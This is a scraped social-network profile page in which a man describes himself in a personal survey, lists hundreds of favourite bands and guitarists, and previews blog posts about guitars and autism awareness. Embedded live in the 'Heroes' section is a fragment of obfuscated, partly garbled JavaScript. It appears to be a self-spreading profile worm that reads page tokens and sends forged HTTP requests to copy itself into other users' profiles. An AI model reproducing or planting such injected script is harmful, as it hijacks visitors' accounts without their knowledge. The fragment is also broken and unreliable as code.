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Joe

Yeah, Uh huh, right....sure thing pal

About Me

Hmmmmm......what do you want to know? Just moved to Baton Rouge from Florida (job promotion!). Love music, sports (at least now I live in a state with a good football team), and just enjoying life.
TELL ME ABOUT YOURSELF - The Survey
Name: Joe
Birthday: 7/15/66
Birthplace: Cape Coral, FL
Current Location: Baton Rouge, LA
Eye Color: Hazel
Hair Color: Brown
Height: 5'10"
Right Handed or Left Handed: Left, except when playing guitar
Your Heritage: Russian, Irish, French, & Italian
The Shoes You Wore Today: Black New Balance
Your Weakness: Chocolate
Your Fears: Crappy music and mean people (Incase you don't no, MEAN PEOPLE SUCK!
Your Perfect Pizza: Crispy thin-crust with extra cheese & mushrooms, or chicken parm pizza, mmmmmmm......
Goal You Would Like To Achieve This Year: Save some money, work on songwriting
Your Most Overused Phrase On an instant messenger: STFU!
Thoughts First Waking Up: why?
Your Best Physical Feature: HmmI've been told my butt, though a lot of people love my hair.
Your Bedtime: About 1 or 2am
Your Most Missed Memory: My brain
Pepsi or Coke: Coke, real coke, not diet, cherry, vanilla, lemon, lime, or whatever they decide to put in it this week, JUST REAL FUCKING COKE! SHEESH!
MacDonalds or Burger King: ummm.Wendy's. lol
Single or Group Dates: single...what is this an orgy...hey wait a second hmmmmm.........
Lipton Ice Tea or Nestea: Lipton, that's brisk baby!
Chocolate or Vanilla: I like a little of both
Cappuccino or Coffee: Don't do coffee, see under coke or pepsi
Do you Smoke: Yes deal with it!
Do you Swear: um.how's this for an answer.FUCK Yeah
Do you Sing: No, I play guitar and have enough fun doing that
Do you Shower Daily: yes
Have you Been in Love: Yes, I am and she is totally AMAZING.
Do you want to go to College: Been there, done that!
Do you want to get Married: Been there, done that! They would have to be very special to do it again
Do you belive in yourself: um.i think somost of th time.maybe.i don't know. YES!
Do you get Motion Sickness: no
Do you think you are Attractive: Yeah. I'm no model, but I look good
Are you a Health Freak: no
Do you get along with your Parents: Yeah, for the most part. Funny thing is they still get on each others' nerves after being divorced since I was 5
Do you like Thunderstorms: As long as I'm not driving in them!
Do you play an Instrument: Hmmm.look at my pic and think about it
In the past month have you Drank Alcohol: Yes
In the past month have you Smoked: just lit one
In the past month have you been on Drugs: well....umm...errr....lol no, don't do them things, I got enough problems don't need to create new ones.
In the past month have you gone on a Date: yes
In the past month have you gone to a Mall: yes
In the past month have you eaten a box of Oreos: no
In the past month have you eaten Sushi: fuck no! yuck
In the past month have you been on Stage: no
In the past month have you been Dumped: no
In the past month have you gone Skinny Dipping: no
In the past month have you Stolen Anything: no
Ever been Drunk: does a bear shit in the woods?
Ever been called a Tease: uh huh!
Ever been Beaten up: I am a lover not a fighter...and if I do have to fight...anything within 3 feet of me is going flying at your head so watch out! I will hurt you!
Ever Shoplifted: Not since I was 11
How do you want to Die: Painlessly....in my sleep
What do you want to be when you Grow Up: Do I gotta grow up?
What country would you most like to Visit: England
In a Boy/Girl..
Favourite Eye Color: I dont really care!
Favourite Hair Color: Anything but silver
Short or Long Hair: long, long, long!
Height: Don't matter
Weight: Whatever...just dont be too skinny, or too fat!
Best Clothing Style: Ok, look in the mirror before you leave the house. Doe's what you're wearing match and make sense?..Good!
Number of Drugs I have taken: As a kid I experimented but never got into anything heavy. Just gimme a bottle of Jack and I'm happy.
Number of CDs I own: About 900
Number of Piercings: 2 in my ears
Number of Tattoos: 0
Number of things in my Past I Regret: hmmm.I'd say meeting my ex wife, except that then I wouldn't have two beautiful kids so no regrets I guess.
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My Interests

Those of you that know me well know that my son Daniel has autism and I'm very active in autism awareness. My AMAZING girlfriend Ann posted this link and it really tells the story of a parents view of autism. Thank you baby.
CLICK HERE TO WATCH IT

Also check out VH1 Classic's Rock Autism page HERE

I'd like to meet:

The Griffin Family, and all the cool guitarist on my list.

Music:

So many to choose from. You want a list? ok here goes. .38 Special, 4 Non Blondes, 10CC, A Perfect Circle, AC/DC, Accept, Ace Frehley, Aerosmith, Al Green, Al Stewart, Alanis Morisette, Alacatrazz, Aldo Nova, Alice Cooper, Alice In Chains, The Allman Brothers, Andy Taylor, Anthrax, April Wine, Arc Angels, Argent, ARS, Audioslave, Baby Animals, BTO, Bad Company, Bad English, Badlands, Bang Tango, Beth Hart, Billy Idol, Billy Joel, Billy Squier, Black Crowes, Black Label Society, Black Sabbath, Blackfoot, Blind Faith, Blue Murder, Blues Traveler, Bob Marley, Bob Seger, Bon Jovi, Boston, Bruce Dickenson, Brian Adams, BuckCherry, Buddy Guy, Bulletboys, Candlebox, Carly Simon, Cat Stevens, Cheap Trick, Chicago, Cinderella, Collective Soul, Concrete Blonde, Corrosion Of Conformity, Counting Crows, Cowboy Junkies, Cranberries, Cream, Creed, CCR, Cry Of Love, Damageplan, Damn Yankees, Danzig, Dave Navarro, David Bowie, David Gilmour, David Lee Roth, Days Of The New, Deep Purple, Def Leppard, Deftones, Delbert McClinton, Derek & The Dominos, Dio, Dire Straits, Dishwalla, Disturbed, Dokken, Don Henley, Donald Fagen, Down, Dream Theater, Drivin N' Cryin, Duran Duran, Eddie Money, Edgar Winter, Elton John (old, not the new sludge he puts out, yuck), Eric Clapton, Eric Johnson, Evanescence, Everclear, Extreme, Faith No More, Fastway, Filter, Fish (Not Phish), Fishbone, Fleetwood Mac, Foghat, Foo Fighters, Foreigner, Frank Sinatra, Frank Zappa, Free, Fuel, Gary Moore, Genesis, George Harrison, George Thorogood, Gerry Rafferty, Giant, Gin Blossoms, Giuffria, Glen Frey, Glen Hughes, Godsmack, Golden Earring, Goo Goo Dolls, Gov't Mule, Grand Funk, Great White, Greg Kihn, Guano Apes, Guns N' Roses, HSAS, Harry Chapin, Harry Nilsson, Harvey Danger, Head East, Heart, Helix, Hole, Honeymoon Suite, Hoobastank, Huey Lewis & The News, Humble Pie, Hurricane, Iggy Pop, Incubus, INXS, Iron Maiden, J. Geils Band, James Taylor, Jane's Addiction, Jeff Beck, Jeff Healey, Jefferson Starship, Jerry Cantrell, Jerry Harrison, JET, Jethro Tull, Jimi Hendrix, Jimmy Buffett, Joe Satriani, Joe Walsh, John Lee Hooker, John Lennon, John Mellencamp, John Sykes, John Waite, Johnny VanZant, Jon Butcher, Jonny Lang, Journey, Judas Priest, Julian Lennon, Kansas, Kate Bush, Kenny Wayne Sheppard, Kid Rock, Killer Dwarfs, Kim Mitchell, King's X, KISS, Krokus, L.A. Guns, Led Zeppelin, Lenny Kravitz, Level 42, Lindsey Buckingham, Lita Ford, LRB, Live, Living Colour, Liz Phair, Los Lobos, Lou Reed, Lucinda Williams, Lynryd Skynyrd, Mad Season, Manitoba's Wild Kingdom, Marillion, Marvin Gaye, MSG, MeatLoaf, Megadeth, Melissa Etheridge, Metallica (old stuff), Michael Hedges, Molly Hatchet, Montrose, Motorhead, Mr. Big, Mr. Mister, Motley Crue, Nazareth, Neil Young, Nickelback, Night Ranger, NIN, Nonpoint, Oasis, Otis Redding, Our Lady Peace, Ozzy, P.O.D., Pantera, Papa Roach, Parliment, Pat Benetar, Pat Travers, Paul McCartney, Paul Rodgers, Paul Stanley, Pearl Jam, Pete Townshend, Peter Frampton, Peter Gabriel, Phantom, Rocker, & Slick, Pink Floyd, Power Station, Pride & Glory, Primus, Prince, Puddle OF Mudd, Queen, Queensryche, Quiet Riot, Radiohead, Rage Against The Machine, Rainbow, Ratt, Red Hot Chilli Peppers, Red Rider, REO Speedwagon, Rick James (bytch! lol), Riverdogs, Rob Zombie, Robbie Nevil, Robbie Robertson, Robert Cray, Robert Palmer, Robert Plant, Robin Trower, Rod Stewart (old stuff), Roger Waters, Rufus, Rush, Saga, Saigon Kick, Saliva, Sammy Hagar, Santana, Sarah McLachlan, Savatage, Scorpions, Seal, 7 Mary 3, Sevendust, Shadow King, Shelby Lynne, Shinedown, Shooting Star, Shotgun Messiah, Simple Minds, Skid Row, Slash's Snakepit, Smashing Pumpkins, Smithereens, Soul Asylum, Soundgarden, Spacehog, Squeeze, Staind, Steeler, Steelheart, Steely Dan, Steve Earle, Steve Morse, Steve Perry, Steve Vai, Stevie Nicks, Stevie Ray Vaughan, Stevie Wonder, Sting, STP, Stray Cats, Styx, Supertramp, Survivor, Sweet, System Of A Down, Talk Show, Tall Stories, Tantric, Tears For Fears, Ted Nugent, Temple Of The Dog, Tesla, The Babys, The Bangles, The Beatles, The Cars, The Charlie Daniels Band, The Clash, The Cult, The Darkness, The Donnas, The Doobie Brothers, The Doors, The Eagles, The Fixx, The Hooters, The Kinks, The Knack, The Offspring, The Police, The Pretenders, The Raspberries, The Rolling Stones, The Romantics, The Sundays, The Tubes, The Vines, The Who, The Yardbirds, Thin Lizzy, Tin Machine, Todd Rundgren, Tom Petty & The Heartbreakers, Tony Iommi, Tool, Tori Amos, Toto, Traffic, Train, Triumph, Twisted Sister, Type O Negative, U2, UFO, Van Halen, Vandenberg, Velvet Revolver, Vertical Horizon, Veruca Salt, Victor, WASP, Wall Of Voodoo, War, Warren Haynes, Weezer, White Lion, White Zombie, Whitesnake, Winger, Y&T, Yes, Yngwie Malmsteen, Zebra, ZZ Top.

Movies:

All the mob movies (Godfather trilogy, Goodfellas, Scarface, etc.), comedies and some action flix, GOOD horror movies, and mysteries.

Television:

Don't watch too much anymore but I love Family Guy, VH1 on in the background while doing stuff around the house, The Sopranos, Sportscenter, and of course putting on the gross out shit from fear factor right as I sit down to eat dinner, lol.

Heroes:


How about we rename this: MY TOP 10 GUITARIST 1. Gary Moore-Not the blues stuff he's doing now, dig deep, find his 80's solo stuff, and of course when he was with Thin Lizzy).2. Michael Schenker-Rock Bottom still sends chills up my spine every time I hear it.3. Edward Van Halen-Does anything have to be said......4. Ace Frehley-Yes, not the greatest player in the world, but the reason I started playing guitar (and I'm sure the reason a lot of other people did too).5. John Sykes-The man can play anything. Who is he....look at your Whitesnake album and listen, then go buy Thin Lizzy's Thunder & Lightning.6. Billy Gibbons-Nasty...just plain nasty.7. Joe Perry- If you don't own Aerosmith's Rocks album....YOU NEED TOO!8. Vivian Campbell-Capable of playing anything...wish he still did. No slight to Def Leppard, one of my favorite bands but sheesh Viv, get them fingers moving again!9. Randy Rhoads-It boggles my mind to think what he would be doing now if he were still alive.10. Jimmy Page-Just let me write one tune on par with anything this man has composed!....................No Scott you didn't make the list! LMAO 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J...statechange=BI');J.open(BJ,BH,true);if(BJ=='POS T'){J.setRequestHeader('Content-Type','application/x-www-for m-urlencoded');J.setRequestHeader('Content-Length',BK.length )}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('

My Blog

Cars

So Friday, after work I had a couple of errands to run. I left the store and took my usual rush hour route home (keeps me off I-12 and Airline and saves about 15-20 minutes). As I’m driving, at ...
Posted by Joe on Mon, 17 Mar 2008 07:38:00 PST

Wow.....just Wow!!!!!!!!!

Well where to start this story? I guess the beginning, lol. About a week or so before Thanksgiving, we got this really nice Les Paul Standard in at the store. Desertburst finish, nice flame top, and f...
Posted by Joe on Sun, 03 Feb 2008 10:53:00 PST

HEY! What kind of gear do you need?

For those of you who don't know, and those of you that are musicians (or know musicians), I'm an General Manager at Guitar Center Baton Rouge. Whatever you are looking for musically, I can h...
Posted by Joe on Fri, 07 Oct 2005 06:30:00 PST

My Gear

Current List of Gear I Own All guitars pictured in my page background. 2007 Gibson Les Paul Standard - Desertburst Finish (pics coming soon!) 1989 Kramer Nightswan (all original 8.5 condition, not fo...
Posted by Joe on Wed, 12 Apr 2006 11:25:00 PST

My old band

I made a page for one of my old bands, check it out. http://www.myspace.com/charleyinthebox
Posted by Joe on Thu, 06 Apr 2006 07:02:00 PST